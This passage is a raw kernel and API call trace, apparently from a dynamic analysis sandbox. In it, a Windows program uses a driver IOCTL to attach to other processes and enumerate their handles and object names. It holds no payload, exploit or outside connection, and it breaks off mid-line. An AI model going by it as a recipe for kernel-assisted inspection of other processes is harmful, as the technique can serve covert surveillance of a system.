[0113.372] PsAcquireProcessExitSynchronization () returned 0x0 [0113.372] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.372] ObReferenceObjectByHandle (in: Handle=0xe18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80028c3d10, HandleInformation=0x0) returned 0x0 [0113.372] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.372] PsReleaseProcessExitSynchronization () returned 0x2 [0113.372] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.372] ObQueryNameString (in: Object=0xfffffa80028c3d10, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.372] ObfDereferenceObject (Object=0xfffffa80028c3d10) returned 0x1 [0113.372] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.372] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.373] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.373] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.373] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.373] PsAcquireProcessExitSynchronization () returned 0x0 [0113.373] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.373] ObReferenceObjectByHandle (in: Handle=0xe34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80028c2240, HandleInformation=0x0) returned 0x0 [0113.373] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.373] PsReleaseProcessExitSynchronization () returned 0x2 [0113.373] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.373] ObQueryNameString (in: Object=0xfffffa80028c2240, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.373] ObfDereferenceObject (Object=0xfffffa80028c2240) returned 0x2 [0113.373] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.373] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.373] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.373] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.373] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.373] PsAcquireProcessExitSynchronization () returned 0x0 [0113.373] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.373] ObReferenceObjectByHandle (in: Handle=0xe38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800193d590, HandleInformation=0x0) returned 0x0 [0113.373] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.373] PsReleaseProcessExitSynchronization () returned 0x2 [0113.373] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.373] ObQueryNameString (in: Object=0xfffffa800193d590, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.373] ObfDereferenceObject (Object=0xfffffa800193d590) returned 0x2 [0113.373] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.373] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.373] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.373] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0113.373] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.373] PsAcquireProcessExitSynchronization () returned 0x0 [0113.373] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.373] ObReferenceObjectByHandle (in: Handle=0xe7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001cab610, HandleInformation=0x0) returned 0x0 [0113.373] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.374] PsReleaseProcessExitSynchronization () returned 0x2 [0113.374] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.374] ObQueryNameString (in: Object=0xfffff8a001cab610, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.374] ObfDereferenceObject (Object=0xfffff8a001cab610) returned 0x2 [0113.374] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.374] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.374] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.374] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0113.374] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.374] PsAcquireProcessExitSynchronization () returned 0x0 [0113.374] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.374] ObReferenceObjectByHandle (in: Handle=0xe84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019dc710, HandleInformation=0x0) returned 0x0 [0113.374] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.374] PsReleaseProcessExitSynchronization () returned 0x2 [0113.374] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.374] ObQueryNameString (in: Object=0xfffff8a0019dc710, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.374] ObfDereferenceObject (Object=0xfffff8a0019dc710) returned 0x2 [0113.374] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.374] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.374] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.374] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0113.374] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.374] PsAcquireProcessExitSynchronization () returned 0x0 [0113.374] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.374] ObReferenceObjectByHandle (in: Handle=0xea4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003c57570, HandleInformation=0x0) returned 0x0 [0113.374] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.374] PsReleaseProcessExitSynchronization () returned 0x2 [0113.374] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.374] ObQueryNameString (in: Object=0xfffffa8003c57570, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.374] ObfDereferenceObject (Object=0xfffffa8003c57570) returned 0x1 [0113.374] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.375] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.375] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0113.375] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.375] PsAcquireProcessExitSynchronization () returned 0x0 [0113.375] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.375] ObReferenceObjectByHandle (in: Handle=0xeac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80108a95e0, HandleInformation=0x0) returned 0x0 [0113.375] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.375] PsReleaseProcessExitSynchronization () returned 0x2 [0113.375] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.375] ObQueryNameString (in: Object=0xfffffa80108a95e0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.375] ObfDereferenceObject (Object=0xfffffa80108a95e0) returned 0x13 [0113.375] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.375] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.375] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0113.375] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.375] PsAcquireProcessExitSynchronization () returned 0x0 [0113.375] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.375] ObReferenceObjectByHandle (in: Handle=0xeb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800f07e960, HandleInformation=0x0) returned 0x0 [0113.375] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.375] PsReleaseProcessExitSynchronization () returned 0x2 [0113.375] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.375] ObQueryNameString (in: Object=0xfffffa800f07e960, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.375] ObfDereferenceObject (Object=0xfffffa800f07e960) returned 0x1 [0113.375] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.375] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.375] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.375] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.375] PsAcquireProcessExitSynchronization () returned 0x0 [0113.375] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.375] ObReferenceObjectByHandle (in: Handle=0xebc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0017bf0f0, HandleInformation=0x0) returned 0x0 [0113.376] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.376] PsReleaseProcessExitSynchronization () returned 0x2 [0113.376] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.376] ObQueryNameString (in: Object=0xfffff8a0017bf0f0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.376] ObfDereferenceObject (Object=0xfffff8a0017bf0f0) returned 0x1 [0113.376] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.376] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.376] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.376] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0113.376] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.376] PsAcquireProcessExitSynchronization () returned 0x0 [0113.376] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.376] ObReferenceObjectByHandle (in: Handle=0xf30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001be2760, HandleInformation=0x0) returned 0x0 [0113.376] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.376] PsReleaseProcessExitSynchronization () returned 0x2 [0113.376] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.376] ObQueryNameString (in: Object=0xfffff8a001be2760, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.376] ObfDereferenceObject (Object=0xfffff8a001be2760) returned 0x2 [0113.376] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.376] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.376] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.376] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.376] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.376] PsAcquireProcessExitSynchronization () returned 0x0 [0113.376] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.376] ObReferenceObjectByHandle (in: Handle=0x1244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0113.376] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.376] PsReleaseProcessExitSynchronization () returned 0x2 [0113.376] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.376] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.376] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0113.376] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.376] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.376] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0 [0113.377] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.377] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.377] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.377] PsAcquireProcessExitSynchronization () returned 0x0 [0113.377] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880055905d0) [0113.377] ObReferenceObjectByHandle (in: Handle=0x8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800318bc40, HandleInformation=0x0) returned 0x0 [0113.377] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.377] PsReleaseProcessExitSynchronization () returned 0x2 [0113.377] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0113.377] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.377] ObfDereferenceObject (Object=0xfffffa800318bc40) returned 0x1 [0113.377] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.377] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.377] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.377] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0113.377] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.377] PsAcquireProcessExitSynchronization () returned 0x0 [0113.377] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880055905d0) [0113.377] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800318f770, HandleInformation=0x0) returned 0x0 [0113.377] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.377] PsReleaseProcessExitSynchronization () returned 0x2 [0113.377] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0113.377] ObQueryNameString (in: Object=0xfffffa800318f770, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.377] ObfDereferenceObject (Object=0xfffffa800318f770) returned 0x11 [0113.377] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.377] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.377] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.377] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.377] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.377] PsAcquireProcessExitSynchronization () returned 0x0 [0113.377] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880055905d0) [0113.377] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800318ff20, HandleInformation=0x0) returned 0x0 [0113.377] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.378] PsReleaseProcessExitSynchronization () returned 0x2 [0113.378] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0113.378] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.378] ObfDereferenceObject (Object=0xfffffa800318ff20) returned 0x1 [0113.378] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.378] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.378] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.378] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.378] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.378] PsAcquireProcessExitSynchronization () returned 0x0 [0113.378] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880055905d0) [0113.378] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.378] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.378] PsReleaseProcessExitSynchronization () returned 0x2 [0113.378] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0113.378] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.378] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.378] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.378] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.378] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.378] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.378] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.378] PsAcquireProcessExitSynchronization () returned 0x0 [0113.378] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880055905d0) [0113.378] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.378] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.378] PsReleaseProcessExitSynchronization () returned 0x2 [0113.378] ObfDereferenceObject (Object=0xfffffa800318b060) returned 